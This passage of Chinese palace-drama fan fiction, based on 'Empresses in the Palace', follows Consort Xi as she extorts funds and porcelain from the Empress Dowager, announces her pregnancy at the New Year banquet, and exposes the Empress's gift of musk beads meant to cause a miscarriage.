就连隆科多也在喝了酒的夜晚回府时被一个石块砸伤了脑袋。 太后心知肚明,这是瓜尔佳氏为曦妃出气,但又不能说自己身为一国太后被皇帝的嫔妃制裁,只能默默的忍让。 本以为这刺头只要不招惹就能躲开,没想到这人主动踏进了寿康宫,定是没安什么好心眼子。 太后想的很对,文鸳是来要钱的。 “太后娘娘,国库空虚,年宴办的不漂亮多丢太后的脸啊!为了皇家的面子,太后娘娘您出钱吧!” 文鸳穿着十公分的花盆底站在太后面前,理直气壮的伸出了手,长长的护甲戳到太后眼前,叫她脑门发紧。 “丢什么哀家的脸?” 又不是她的皇位,关她什么事! “但是皇上是您亲儿子,皇上丢脸就是您这个皇额娘丢脸啊!没毛病。” 文鸳说着,自己还点了点头,为自己的完美逻辑表示了认可。 太后不语,太后闭眼。 文鸳不允许任何人在她面前装模作样。 她上手扒开太后的眼皮,这一举动叫竹息都吓傻了。 “曦妃娘娘,曦妃娘娘,太后娘娘身子弱,禁不得您磋磨啊。” 这说的她好像什么洪水猛兽一样,文鸳不高兴。 “你这奴才,竟然敢扒拉本宫。来人,把这老奴才带下去,给本宫狠狠的挠一天痒痒!” “饶,啊?” 竹息蒙圈的被带了下去,太后伸手没拦住。 “曦妃你放肆!” 太后生气了,但是文鸳不怕。 因为帮手来了。 “太后娘娘这是怎么了?怎么跟孩子生这么大的气?” 皇考贵妃穿着华丽的绛紫色常服,上头用银线绣了规制较低的龙凤云纹,头上的二钗形凤簪以南珠为饰,尊贵却不逾制。 那通体的气度优雅沉静,和气的面色通红卧床在侧的太后比,简直完胜。 太后得忍着文鸳,自然也得忍着皇考贵妃。 “只是一些琐事,你今日怎么来哀家这里了?” 皇考贵妃看了一眼文鸳,笑着道:“这不是听说曦妃这个孩子接手了年宴的事,想着她年轻没什么经验,瞧瞧她有没有给太后您惹事啊。” 太后扯了扯嘴角,却没有如愿露出笑容。 “曦妃懂事,皇考贵妃多虑了。” 皇考贵妃这才点了点头:“无事便好,臣妾那里还有事就先走了。” 太后看着皇考贵妃的背影消失在视线里,面无表情的看了一眼顶替了竹息工作的竹影。 竹影端出来一个扁扁的匣子,递给了文鸳。 “这里头是五千两,你瞧瞧够不够?” 按照太后的想法,正常人拿了钱应该识趣的说一声‘足够’再恭敬的谢恩离开。 但她还是见的世面太少了。 “这怎么能够?” 其实差不多了,往年先帝的除夕宴大约也就在三千两到六千两的区间,太后这五千两能安排一场不错的年宴。 但是文鸳能白跑一趟吗?她虽然不累,但这是公事,不吃点回扣,怎么对得起自己起早贪黑的付出。 太后目光一凛,她是掌过宫权的,够不够她心里头有数。 然而不等太后发难,文鸳站在那里掰着手指头给太后算账:“今年说是皇上登基第一年的年宴,往日里的熊掌燕窝便罢了,盛京那边送来的贡米,京西玉泉山的泉水,围场的野味,哪个不得多准备些,好叫大臣和宗亲见识一下咱们皇上的本事。” 太后皱了皱眉,皇上有什么本事? “还有,数百种的糕点,应季南方的供果。餐具陈设,哪样不得用新的,太后娘娘不会想用内务府存档的旧货充门面吧?” 往年的除夕宴,光是宫殿需要张挂的绸缎帷幔,彩灯香料,甚至还用了宝石和珍珠点缀。 根据【清圣祖实录】的记载,先帝后期宫廷年节光陈设费用就高达数千两甚至更多。 太后挥了挥手,竹影又拿来一个小匣子。 “这里有五千两,再多,可要说是奢靡了,曦妃。” 文鸳抱着匣子行了礼,开开心心的往永寿宫赶。 太后无意识的捏了捏手里的帕子,想着刚才文鸳侃侃而谈对宫务的熟练,心里头更是提防。 “兰兰~兰兰~,我打猎回来啦!” 看着出门一趟就带回来一万两银票的文鸳,年世兰惊喜的眼睛都亮了。 “你怎么这么厉害!” 她在心里头感慨,往年都是她自己搭银子给雍亲王府花钱,今年一下子省了,还真是痛快。 “那是,我可聪明着呢。” 文鸳摇头晃脑的把自己的那一半活儿也推给了华妃:“你负责干活,我负责抢,啊不是,我负责拿钱。” 她翘着脚晃着脑袋:“这些官窑瓷器摆件你先别急,我瞧着太后宫里可有不少,都是先帝赏赐的精品。等临根儿了,咱们去借。” 华妃连忙记下,这可是省钱的妙计。 “年宴嘛,人多眼杂的,报损都是很正常的。但是也别太过分,今年就报十来个就行,明年再借再报。” 要不是太后纵容皇后打胎,皇后能这么明晃晃的把红麝香珠给原主吗?都是太后惯出来的。 文鸳不要命不折磨人,要点钱赔偿,很合理吧? 况且,太后罚不了她。 文鸳摸了摸自己的小肚子,这里头,可是有一对儿小可爱呢。 “你,这是有了?” 华妃瞧着文鸳的动作有些出神。 文鸳笑嘻嘻的看着她:“是啊是啊,我准备在年宴上跟皇上说,说不定啊,还能晋贵妃呢。” 她挑着眉凑近到华妃脸前,那笑容怎么看怎么欠揍。 华妃愣了一下,倒是没有生气。 只是有些怅然。 “那你要好好保护好他,别吃别人送的东西,我送的你也别吃。” 文鸳看着突然有些失落的华妃歪了歪头。 “怎么了?有人欺负你了?” 在文鸳眼里,华妃已经是她的好朋友了,敢欺负她瓜尔佳文鸳的好朋友,那就别怪她不客气了。 华妃知道,这些陈芝麻烂谷子的旧事文鸳不知,她泛泛说了两句端妃那碗堕胎药,告诫文鸳一定要注意入口的东西。 然而文鸳的心根本不在这儿。 “好哇,这个狗屁倒灶心黑肚肠烂的东西,敢欺负你,我去给你报仇!” 华妃没反应过来的时候,文鸳已经冲到了延庆殿。 “啪”! 是门被踢开的动静。 吉祥扶着端妃一看,竟是如今盛宠的曦妃。 “不知曦妃这是做什么?” 端妃咳嗽了两声,瞧着一副不健康的模样。 “呔!你这个恶毒的女人,竟然敢欺负我的华子,坏蛋!” 说着,文鸳一个箭步冲过去对着端妃一通乱拳。 “住手住手啊!” 吉祥想要拉扯,但始终不能靠近。 “本宫和华妃的恩怨和你无关。” 端妃被打的浑身疼,但仍旧嘴硬。 “胡说!世兰是我的好朋友,你欺负我的好朋友就不行。” 文鸳不听端妃那一套,她有自己的逻辑。 华妃赶到时,听到这句话眼眶通红。 这场闹剧随着皇上的到来落下帷幕。 皇上头疼的看着不服气的曦妃,一脸感动的华妃,有些死了的端妃。 “曦妃你又干什么?” 皇上有气无力的责问在文鸳耳朵里根本没有任何震慑力。 “皇上,她欺负华子,我这是替我的好姐妹报仇,皇上放心,臣妾有分寸。” 文鸳一副‘女人家的事皇上你别管’的表情叫皇上哭笑不得。 “那朕走了,你注意些。” 皇上觉得文鸳说的还挺有道理,女人的事他掺和什么。 端妃看着自己的靠山离开,眼里噙着泪满是怨恨。 “她灌了本宫一壶红花坏了本宫的身子不能生育,她就是什么好人了吗?” 端妃的声嘶力竭叫华妃恼怒,她刚想上去踢上两脚就被文鸳抱住。 “呸,脑子有病的老女人。兰兰灌你红花时你都多大了,年轻的时候生不了,人到中年你就能生了?再说了,本宫杀了你,再喝一碗红花,也能抵你的命是不是?” 华妃一把捂住文鸳的嘴。 “别胡说。” 她的心口怦怦跳,很怕听到这些。 文鸳扒拉下华妃的手:“别理她,她自己不占理,还歪曲事实,就是老女人精神不正常。” 说着,文鸳拉着华妃往外走:“你以后别出门转悠,看到一次打你一次。你也瞧见了,皇上不管你咯。” 端妃被这句话刺激的呕血,文鸳却看了一眼赶来的曹贵人。 这人跟她们玩起来后倒是少了几分难看的算计,有些真心为华子打算的样子了。 “你给这里收拾好了,本宫要去接温宜玩一会儿。” 曹贵人笑着点了点头,收拾烂摊子嘛,她最在行了。 第286 章 瓜尔佳文鸳17 “这曦妃未免也太跋扈了些。” 敬嫔关不住的沈常在今日依旧在碎玉轩待着,和她的嬛儿一起就曦妃打了端妃一事发表自己的看法和观点。 甄嬛面无表情的捧着一卷翻开好久都没动页的书,双眼出神不知道在想些什么。 沈眉庄没有听到嬛儿的附和,扭过头一脸担心的看向甄嬛。 “你怎么了?魂不守舍的?可是被吓到了?” 她拉起甄嬛的手关切的问道。 甄嬛回过神勉力一笑:“姐姐不必担心我,只是这曦妃对咱们两个意见颇大。我还好,没有侍寝,总不会撞到她手里。只是姐姐,我怕曦妃为难你。 姐姐也看到了,今日曦妃闹出这么大动静,皇上来了又去,没有惩罚之意,这往后,唉......” 皇后被放出来后明儿是第一次请安,甄嬛的担忧沈眉庄都知道。 “怨我没有一个好父亲在京城守着,有个三长两短的可以在皇上面前卖弄一番。” 沈眉庄一脸怨气,把从敬嫔那儿听闻的事情说给了甄嬛听。 “咱们两个不过是一时疏忽站错了位置,景仁宫不知道谁漏了嘴说到了前朝上去,那瓜尔佳鄂敏抓住了机会奉承了皇上两句,曦妃如今可不是得意的很。” 敬嫔告诉沈眉庄的意思很简单,只是希望沈眉庄看清楚现实,也记着曦妃的好儿。不然这口用汉军旗压满蒙两军旗的锅但凡挨到皇上一点,沈眉庄和甄嬛都不一定能保下这两条不值钱的命。 然而沈眉庄一点没懂敬嫔的用心,只是默默的增加了对曦妃,对瓜尔佳鄂敏,对自己父亲不能当京官的怨恨。 甄嬛回握住沈眉庄的手笑了笑:“日子还长,不过是以色侍他人,姐姐,咱们要沉得住气。” “也就是你性子好,罢了,不说她了,你这里位置差些,我给你带了些红箩炭,免得湿气入了身子难受。” 这碎玉轩本就狭小,中间还有个大戏台子,丁点大的院子丁点大的屋,一日里只能有一个时辰左右的阳光都是奢求。 内务府分来的两个奴才都是笨嘴拙舌木讷不机灵的,甄嬛又不爱出门,日日等着沈眉庄过来才能有个动静。 “知道姐姐惦记我。” 姐妹俩自有自己的逻辑体系,虽然被撵了出去但仍旧能听见动静的宝鸽低着头叹了口气,大家都是探子,但她的活儿最不好干。因为分给她的主子,听不懂人话。 永寿宫。 “太后娘娘出钱,兰兰你也不要抠门,把那什么劳什子红梅去了,换成仙客来和一品红,花团锦簇寓意也好。比去倚梅园折几枝子红梅热闹的多。” 华妃丝滑的把红梅划掉,换成了仙客来和一品红。 文鸳坐着叭叭着小嘴,时不时吸溜口蜜水,也不过一刻钟的功夫,她的屁股就有些麻了。 “休息的太久了,兰兰,我去太后那里再要些瓷器摆件啊。” 年世兰抬起头,有些担忧的看了一眼文鸳的肚子。 “太后给的钱也不少了,要不就算了,你有了身孕,万一太后生气罚你跪,对身子不好。” 文鸳非常欣慰的拍了拍如今温柔似水的年世兰的肩膀:“兰兰,我很欣慰啊,你瞧瞧你现在这温柔的模样,很像等出征回来的妻子嘛。” 这温情维持不了片刻就被打破,华妃面无表情的把自己肩膀上的小手扒拉开,沉默的低头扒拉着自己的算盘。 文鸳也不恼,嘿嘿笑了一声:“颂芝,去启祥宫把温宜和曹贵人叫来陪你们主子玩儿会儿,本宫要去打猎啦!” “是,奴婢知道了。” 颂芝乐呵呵的就出了门,完全忘了询问自己主子的意见。 温宜这个小包子特别乖巧,长的白白嫩嫩可爱的文鸳想一口吃掉。 当着曹琴默的面,文鸳不知道吸了多少次温宜的小脸蛋,软软嫩嫩滑滑溜溜好玩极了。 曹贵人刚开始有些担忧,不过后来也习惯了。温宜自己都笑呵呵的,文鸳又是真心爱跟温宜玩儿。 抛去那些争宠的心思,华妃其实很喜欢温宜这个小豆丁,有时候看着温宜也会出神。 目前文鸳进宫也就半年的时间,凭借自身超强的战斗力,把自己这一亩三分地打理成了自己想要的样子。 走在路上的文鸳昂首挺胸,觉得自己可太棒了。 而寿康宫的门口,突然多了一个贼眉鼠眼的小太监,一看到文鸳就往里跑。 这哪行?这一看就是通风报信的,文鸳不允许。 她小跑了两步,举起自己的暖手炉使劲儿往前一扔。 “啪”,小太监应声倒地。 文鸳骄傲的拍了拍手:“哼,想不看见我?不可能。” 在永寿宫练习了半年的射箭,这准头简直不要太高,区区一个投掷的小动作,轻松拿捏。 “太后娘娘,臣妾来给您请安啦。” 文鸳看着外头的仪仗就知道,里头还有皇后在。 但她不在乎。 “哟,皇后娘娘也在啊,这是禁足结束啦?皇后您反省好了吗?不是臣妾说您,咱们满军旗要有满军旗的傲骨呀,您怎么能为了讨好几个汉军旗的嫔妃,就把咱们满军旗的脸面踩在脚底下。 更何况那两个人还不如臣妾长的漂亮,就算得宠了,也没有臣妾有用呀。您要是有事,就告诉臣妾,臣妾帮您办。” 皇后看着眼前的笑脸真想一把给她扯烂。 “曦妃好意本宫心领了。” 前朝定了她的罪,皇后现在即便在太后的地盘也不敢反驳。 文鸳笑的好不得意,摆了摆手佯装客气:“臣妾就是心肠热,皇后您知道就好。” 眼见着仅有能用的外八路侄女要被气的吐血,太后赶紧开口。 “曦妃,可是有事?” 这话问的,没事谁来看你这个亲疏不分一生糊涂的老女人。 “是有些事,这不是年宴将至,臣妾合计着咱们也算是承先帝的上启皇上的辉煌,所以想向太后娘娘借一些先帝御赐的瓷器摆件,太后娘娘不会不借吧?” 太后定定的看了会儿曦妃,发现面前人无知无觉的样子更可恨了。 “自然不会。” 这话即使是传到外头,曦妃也是占理且好听的。 太后也懒得挣扎了,谁知道多说两句皇考贵妃是不是又会进来串门。 “竹息,带着曦妃去哀家的库房里挑一挑。” 竹息心惊胆颤的给文鸳领路,上次的惩罚虽然不伤筋动骨,但笑了两个时辰,实在叫她浑身难受。这还是皇上看在太后的面子上提前停了这折磨人的刑罚。 不然若真笑上一天,怕是她现在的头七都过了。 如今的竹息,已经不会笑了。 太后还是太轻敌了,放文鸳进自己的库房,跟放进去一个强盗有什么区别呢? 竹息眼睁睁看着曦妃这个也喜欢那个也想要,双手动了动想要阻拦,但脸上还有些酸疼的肌肉告诉她,她不想。 “太后娘娘,这个郎窑红釉瓶好看,臣妾喜欢。” 太后摆了摆手:“你喜欢就给你。” 无知的太后只想把曦妃打发走。 没看到竹息难看的脸色。 “太后娘娘,这个五彩蝴蝶纹瓶臣妾也喜欢。” 太后犹豫了一下,也点了点头。 “太后娘娘这套胭脂红地珐琅彩花卉纹碗臣妾也想要。” 太后终于接收到了竹息的讯号,皱着眉问道:“不是给年宴挑选摆件吗?碗碟也算?” 文鸳却理直气壮的看着太后:“挑选的摆件已经叫宫人去拿了,臣妾说的这些是臣妾喜欢的,太后娘娘您不会连这些小小的赏赐都舍不得吧?” 太后深吸了口气,闭着眼睛捂着胸口:“都拿走。” 文鸳笑嘻嘻的谢了恩,带着自己的战利品回到永寿宫。 第287 章 瓜尔佳文鸳18 “兰兰看我带了什么好东西回来!” 养心殿都听到了文鸳的动静,皇上抬起头看了眼门口的高无庸。 高无庸会意的说道:“曦妃娘娘和华妃娘娘负责年宴,曦妃娘娘考虑到这是皇上您登基后第一个除夕宴,想着办的漂亮些,便去太后娘娘那里借了些先帝赏赐的瓷器。” 这消息传的飞快,毕竟文鸳的行程一直都是这么不避着人。 皇上笑了起来,也不知道这曦妃的脑子到底怎么长的,什么离谱的想法都有。 看着高无庸还有些欲言又止的神色,皇上突然有种不祥的预感:“还有?” 高无庸努力控制好了自己的表情:“是太后娘娘叫曦妃娘娘自己去库房里挑选。曦妃娘娘又瞧见几个自己喜欢的,跟太后娘娘要了出来。” 皇上愣了一下:“要出来?” 高无庸点了点头以眼神示意:没错皇上,就是您想的那样,愣要。 皇上摸了摸鼻子,没有再说话,低着头认真的看着折子。 曦妃哪哪都好,不犯大错,但是小毛病不断。 永寿宫的华妃和曹贵人同时起身,看着文鸳身后的队伍默契的拍了拍巴掌。 “你这是去借?不是去打劫?” 华妃当人家儿媳妇这么多年,从来没见过这么野的路子。 文鸳笑着挽上华妃的胳膊,把自己的战利品展示出来:“瞧,这是我跟太后娘娘要的郎窑红釉瓶,漂亮吧,我就知道你喜欢,给你。” 这釉色鲜红,宛若宝石的瓶子一下子就戳到了华妃的心尖尖上:“你怎么这么好呀~” 华妃难得露出这样娇俏的一面,文鸳笑嘻嘻的贴了上去。 曹贵人在一旁有些惊悚,但是又有些好笑。 “瞧这五彩蝴蝶纹瓶漂亮吧,就是有些素雅和童趣了,给温宜插花吧,咱们公主就是得有些底气。” 这瓶子文鸳一眼就觉得适合温宜这个嫩宝宝,等她孩子生下来了,再去太后的库房走一波。 “多谢曦妃娘娘赏赐。” 曹贵人特别感动,曦妃冒这么大的危险还惦记着温宜,她今后一定要看好华妃,不能给曦妃添乱。 “嘿嘿,这套胭脂红地珐琅彩花卉纹碗我自己用。” 三人分好了,又坐下把那些摆件过了一遍。 文鸳挑的都是喜庆些的珐琅彩啊五彩瓶啊青花凤尾尊啊这些,都是太后私库里出挑的摆件。 再加上实打实的银子撒下去,这年宴不仅办的热闹,还办的尊贵。 敦亲王依旧想四处找点事,但文鸳决不允许自己大出风头的日子被破坏。 “皇上,臣妾有孕两个多月了。” 皇上刚表扬完年羹尧,文鸳就起身报喜。 华妃虽然不解,但还是笑眯眯的看着文鸳。 不仅如此,她还下意识的看向与皇上并排而坐的皇后,瞧着她那阴沉沉的眼睛更加开心了。 “果真?那可真是喜事。” 皇上的喜悦很复杂,有对放假的向往也有对孩子的期待。 “恭喜皇上,恭喜曦妃娘娘。” 底下的宗亲和大臣也带了喜色,瓜尔佳氏这是要崛起了啊! 就连敦亲王也收起了刚才那欠揍的笑脸,举着杯子和皇上道了声喜。 若是普通嫔妃,或即便是皇后和华妃,敦亲王都能嘲讽两句皇上老当益壮。 但瓜尔佳氏他不能这么做,毕竟属于先太子妃的主支对于曦妃的进宫很重视,钮钴禄氏和瓜尔佳氏的姻亲不少,敦亲王是莽但不傻。 富察氏自然也是亲近的,但马奇并未对宫中的富察贵人表现出来特别的意思,再加之先头夺嫡时站队的问题,导致富察氏在老四这一朝安静了许多,不比瓜尔佳氏有价值。 敦亲王的安分叫皇上很舒坦,他一时兴起,给文鸳晋了贵妃之位。 如今后宫人不多,满军旗也只有皇后,曦妃,富察贵人和方佳常在,大清到底是满人的天下,文鸳有孕,皇上自然要捧着。 华妃没有嫉妒,她真心的为自己的姐妹高兴。 一鸣惊人的举措达成,桌上也没有红梅给皇上怀念故人,文鸳拉着皇上跟宗亲们拉上了家常,一时间年宴热闹的好像菜市场。 “皇上信郡王福晋年前还报喜来呢您记不记得?” 信郡王是爱新觉罗德昭,多铎的曾孙,其福晋董鄂氏是巡按鄂凯之女,和瓜尔佳氏也带着亲。 文鸳搭着主支的保驾护航进宫后,信郡王福晋就送了帖子入宫拜访。 但被皇后退了回去。 后来皇后禁足,文鸳才得以见到信郡王福晋。 “记着呢。信郡王福晋身子可好些了?” 年前信郡王福晋好不容易得了一子,若是皇后当家,怕是连这消息都收不到。 “好多了,多谢皇上惦记。” 信郡王平日里虽然低调,但人缘不错,和大多宗亲都来往的较为密切,皇上被文鸳拉着应酬,倒是得了不少夸奖。 这感觉实在稀奇,就连老十也凑过来看了个热闹。 上头的皇后像一个笑话,虽然有宗亲愿意给她面子敬个酒,但皇后连人都认不全。 大家见此也收了心思,果然,他们跟乌拉那拉家这位庶女聊不到一块去。 而此时,倚梅园冻的瑟瑟发抖甄嬛遇到了心软的果郡王。 果郡王酷爱离席,就算没有皇后叫他看护皇上那一遭,自己也觉得宫宴大同小异跑了出去。 遇到了正在祈福的甄嬛,他不比皇上绅士,直接走近了看到了人。 红梅白雪昏暗的宫灯,两个人倒是说了会子话。 等到果郡王回来,文鸳一眼就看到了他。 “十七弟这是干什么去了?皇上还未离席你便先离开了?” 文鸳的嗓门后宫人习惯了,宗亲和大臣还没有习惯,但是看着皇上等人面无表情的脸,大家都默默的坐直了身子。 “臣弟喝酒有些急,便出去醒了醒酒气。” 果郡王嬉皮笑脸的模样一点也不英俊。 “醒到倚梅园去了?” 大家顺着曦贵妃的话看向果郡王,肩头的白雪还夹了几片红梅的花瓣,一时间皆意味深长的看着他。 “不是本宫说你,十七弟你多大了?老在你四哥的后宫晃荡什么?你没断奶吗?别个儿男子十四五成家立业,你呢,三十的人了,不娶妻不任职,你不会觉得自己这样很潇洒吧?” 这是众人第一次见识曦贵妃的能力,一个个目瞪口呆的样子叫鄂敏悬着的心终于死了。 他扒拉了一下自己的胸口,里头的金元宝还在,鄂敏面色平静的看着前方,其实内心已经安息了。 果郡王皱了皱眉,他不过是寄情山水,怎么曦贵妃如此侮辱人。 “臣弟只是想找一个两情相悦的女子,所以才未曾成婚。” 文鸳翻了个白眼:“什么两情相悦,你跟谁两情相悦?正经人家的姑娘会跟一个男子没定亲就谈情说爱吗?” 这是什么时代啊,文鸳甚至怀疑果郡王是不是脑子有病。 果郡王不语只是一味的看朽木。 “本宫记得先帝给你赐婚了,然后你拒绝了。” 说到这里,底下的沛国公一家拼命点头。 不是他家女儿爱果郡王,是果郡王拒婚后女儿的名声就毁了,只能给自己弄一个爱慕果郡王的名头。 “只是不想耽误了孟小姐罢了。” 这话说的在场的人瞬间忘了曦贵妃的能言善辩,而是看傻子一样看着果郡王,你拒婚了才是耽误人家好吗?! “你不会以为一个被皇子阿哥拒婚的女子能得着好吧?不会吧不会吧?” 果郡王脸色一僵,他哪里想过这些,孟静娴又不在他的考虑范围内。 “今儿本宫给沛国公嫡女孟静娴求个圣旨,免得耽误了年月,更寒了老臣的心。” 文鸳示意的看了看信郡王,皇上会意开口:“沛国公嫡女孟静娴,容色婉丽,秉性温良,端庄娴静,着赐婚奉国将军鄂齐礼之子星保。” 星保是信郡王的侄子,也是多铎一脉的未继承王位的嫡子,和汉军旗的孟静娴还是挺般配的。 沛国公一家起身谢恩,感动的想要哭出来。 大家看到了皇上和曦贵妃对宗亲的态度,场面更加热络了起来。 而皇后,无人在意。 (有没有盆友去过银基呀,坐高铁方不方便呀?) 第288 章 瓜尔佳文鸳19 “曦贵妃初次有孕,又是新人里头一份的喜事,本宫这里有一串红玉珠链,是蕃国进贡的稀罕物件,便赏给你,也算是添添喜气了。” 年宴上皇后自觉失了面子,便越发喜欢在晨昏定省这小事上维持自己皇后的体面。 但文鸳的月份尚小,皇上有意免了她的请安却被拒绝了。 “晨昏定省是皇后娘娘的职责,皇上您不要越俎代庖。虽然皇后不仁慈,但身为贵妃,还是有义务规劝的。皇上您别操心了,还是陪臣妾一起散步吧。” 皇上看了看自己平坦下来的小腹和越发有力的大腿,点了点头,自觉的拉着文鸳的手往外走。 不过文鸳也不是次次都来,她的理由充分,皇后每次请安都要唠叨半个时辰到一个时辰的废话,正经人谁能坐的住啊。 今儿难得起了个大早,和华妃进行了早间晨练后,心情不错,来景仁宫给皇后添个堵。 这屁股刚坐热,熟悉的红麝香珠就出现在文鸳面前。 她歪了歪头看着皇后。 “皇后娘娘,你觉得臣妾是傻子吗?” 她可是全族托举进宫的瓜尔佳氏,皇后就这么明晃晃的拿着麝香珠给她,是不是觉得瓜尔佳氏和她乌拉那拉氏一样没用啊。 皇后心口突突的跳了两下,面色诧异的问道:“曦贵妃怎么这么说?可是有什么不妥?” 身边的茉莉端着红麝香珠的盒子礼仪周全语气鄙夷道:“皇后娘娘,您这是红麝香珠。” 茉莉的话叫众嫔妃倒吸一口凉气,饶是知道皇后是个佛口蛇心的华妃都忍不住惊诧的挡在文鸳面前。 “皇后你这个毒妇,果真是惯会做这些下贱的手段。” 华妃恍然间觉得这红麝香珠的味道好像有些熟悉,只是念头闪的太快,没有捕捉到。 现下又担忧着文鸳的安危,便把这突如其来的灵感抛之脑后。 “大胆华妃信口雌黄竟敢污蔑本宫。” 皇后哪里想着能被识破,此刻内心虽然慌乱但不至于乱了阵脚。 “大胆什么大胆,要臣妾说皇后娘娘才是大胆呢。你乌拉那拉家没本事的人多,是不是觉得别人家都是破落户?” 文鸳一把抱着华妃的腰把她放回到座位上,站到皇后面前大声的为自己申冤。 皇后被文鸳的气势和声音震慑一时间没有反应过来。 文鸳却不理皇后的走神,气急败坏的喊道:“颂芝!去找皇上来!再去把本宫的姑母叫来!本宫做人十余载,第一次被人这样欺负,咽不下这口气!” 眼看着颂芝就要出了景仁宫的大门,皇后赶紧叫人阻拦。 华妃,博尔济吉特贵人,富察贵人和夏常在同时站起身拦住了剪秋和江福海。 “皇后娘娘不必心急,皇上来了也好。若娘娘是清白的,也能尽快洗清娘娘的委屈不是?” 曹贵人动手虽然慢一些,但为这几个莽撞人言语找补一二还是做得到的。 “就是就是,皇后娘娘何必阻拦,莫不是做贼心虚吗?” 丽嫔看了一眼一起玩雪的玩伴,自觉不能不合群便也站起来怼了皇后一句。 皇后坐在凤椅上如何也想不明白,这些人怎么敢在景仁宫放肆的。 华妃便罢了,自潜邸时就没有安分过。 刚刚说话的曹贵人和丽嫔,新进宫的富察贵人,博尔济吉特贵人和夏常在。 就连齐妃这个她最忠实的马仔都站起身护在了曦贵妃身前,曦贵妃,何时有这样的能力了? 许是宜修根本没有跟任何同龄的女子结下过正常的友谊,也没有交往过正常的玩伴,所以并不理解这些人的作为。 博尔济吉特贵人是不用来请安的,但自从得知文鸳有孕后,便也跟着过来坐一坐。 她自知自己的身份,大清还用的上蒙古,她在这儿总有些能用的上的地方。没想到今日如此危险,阿茹娜担心的看着文鸳,叫身边的乌兰站到了茉莉身边,护住了那个重要的盒子。 皇上这边刚下朝,高无庸就接到了消息。 “皇上,曦贵妃那里出事了。” 颂芝快步上前一个头磕在地上:“皇上,快去景仁宫救救曦贵妃娘娘吧。” 皇上被吓的一激灵,大手提溜着颂芝的衣领把她拽了起来,边走边问:“到底出了什么事?” 又是景仁宫又是景仁宫,文鸳天天上房揭瓦下河溜冰都没出过事,皇后一出来就出事。 “今儿去请安,皇后娘娘说给曦贵妃有孕添喜赏赐了一串红玉珠链。但曦贵妃身后的茉莉认出了那是红麝香珠。” 颂芝快速的总结了一下当时的场景,低着头赶路的她没看到皇上骤然难看的脸色。 “臣妾/嫔妾给皇上请安。” 景仁宫乌拉拉的跪倒一片,皇上瞪了一眼成事不足败事有余的皇后。 “都起来吧,曦贵妃,你说,到底发生了何事?” 对于茉莉识香这件事,皇上心情复杂。 他也能理解大家族的手段,但曦贵妃和华妃相处如此要好,翊坤宫的欢宜香,他实在不敢想。 不过眼下要解决的不是欢宜香,而是皇后。 “皇上您看,皇后娘娘今儿赏赐给臣妾的红玉珠链,要不是茉莉,臣妾若是戴上了,一准就能没了孩子。” 文鸳看出了皇上脸上复杂的表情,但她心里有数,一点也不带慌的。 皇后连忙上前解释道:“皇上,这是藩国进贡的贡品,臣妾觉得颜色鲜艳又有奇香便想着赏人再合适不过,臣妾真的是无意啊!” 然而这番解释却得不得皇上的信任:“朕记得,你是通医理的。” 一句话说的皇后哑然,还不等她继续想办法反驳,文鸳便骂出了口。 “好你个蛇蝎心肠的坏婆娘,你居然敢害我的孩子!啊啊啊!本宫要打死你!” 没等众人从尖锐的声波中回神,曦贵妃随手抓过凤椅上的迎枕就砸在了皇后头上。 “曦贵妃你放肆!” 迎枕虽然不是硬物,但曦贵妃的手劲儿极大,还是把皇后砸的脑袋发晕。 瞧着要发了疯的曦贵妃,皇上哪里还想的起来其他,连忙把人困在怀里。 “好了好了,朕给你做主。你莫要生气。” 半晌没听到动静,皇上低头一看,怀里的人红着眼睛喘着粗气。 “哇!她欺负我!她欺负我!我要回家去,都是女子,她居然这么恶毒想要打掉我的孩子,她不配当女子,她不配!” 文鸳哭闹的伤心,众人听着似是感同身受般皆红了眼眶。 皇家后宫多诡谲,大家自进了这个吃人的紫禁城早就有了觉悟。 但这样瞧着,还是心里头酸疼酸疼的。 皇上被文鸳哭的也不好受,他轻轻的拍着文鸳的后背:“朕知道你受委屈了,孩子还小,你这般嚎哭对孩子也不好。” 文鸳被吓的自己捂住了嘴,眼睛红的像个小兔子。 皇后被那句‘她不配当女子’刺激的晃神但又很快在心里发出了嗤笑。 ‘不配为女子?真是好可笑的说法。这曦贵妃不过是仗着家世横行霸道,一点脑子都没有。在这后宫,本来就是你吃我我吃你的地界儿,惹了算计是她自己无能,哭喊是最没用的东西。’ 只是心里再多的瞧不起,皇后面上也是一副委屈巴巴的样子:“皇上,臣妾绝没有谋害皇嗣的心思,若是姐姐还在,定会相信臣妾的。” 提到纯元,皇上心里难免有波动,但并没有太多。 因为在上一次差点动摇了满清的统治后,纯元这张王牌就失去了本来应有的效果。 “干你姐姐什么事?你做了坏事就要提你姐姐,你姐姐要为你的过错连累名声吗?” 不得不说,这句话简直叫皇上醍醐灌顶。 ‘是啊,皇后做错了事再提起纯元,可不是连累她的名声吗?’ 只是还没等皇上定罪,外头传来太监的通传:“太后娘娘驾到,皇考贵妃到。” 第289 章 瓜尔佳文鸳20 皇后眼底的光明了又灭,看着太后身后那道雍容华贵的身影憋了一肚子气。 “闹的乱糟糟的,到底发生了何事?” 太后被文鸳连着抢了两场,气的胸口胀痛到现在还没有好。听闻景仁宫又出了事,强撑着身子来给皇后擦屁股,语气自然好不到哪去。 “是皇后娘娘用红麝香珠当赏赐给了曦贵妃。” 太后正想骂一句没规矩,却发现开口的人是博尔济吉特贵人。 寿康宫的宣太妃可还健在,同为科尔沁左翼中旗的蒙古贵女,太后就算拿华妃撒气,都不能拿这位博尔济吉特贵人撒气。 “这其中是否有所误会?” 太后憋着气只能尽力为皇后找补,虽然有曦贵妃在可能性极小,但乌拉那拉氏青黄不接男子无能,只有这么一个皇后拿的出手,她不得不这么做。 “误会?太后娘娘您又不是没瞧见,皇后自己送出去的物件,甚至连景仁宫的大门都没出去。在场这么多人,难不成还是臣妾给她掉包了吗?” 文鸳本就是小炮仗一点就炸,如今被太后试图和稀泥的态度激怒,更是恨不得一跳三米高的跟人家理论。 皇上和华妃两人抱着文鸳的腰,才叫人安静下来。 皇考贵妃倒不像太后一般上来就断案子,而是走到文鸳身边用手帕给她擦了擦眼泪。 “好孩子,有姑母在呢,咱们虽是皇家的奴才,但也不是卖了生死进来的。你不注意身子,岂不是叫亲者痛仇者快吗?” 太后和皇后咬着牙,这皇考贵妃说话未免也太难听了,什么叫卖了生死? 说到这里,皇考贵妃得了文鸳一个眼神,她立刻用担忧的目光看向了皇上。 “臣妾来的晚些,事情未观全貌无法评判。但这红麝香珠既然混在了后宫,便也算是一大隐患了。 单不说这些后妃,皇上您也得注意自身安危。这些物件精美又不叫人设防,难免有人以此为准乱了心思。总归咱们知道了这一茬,皇上今后也小心着就是了。” 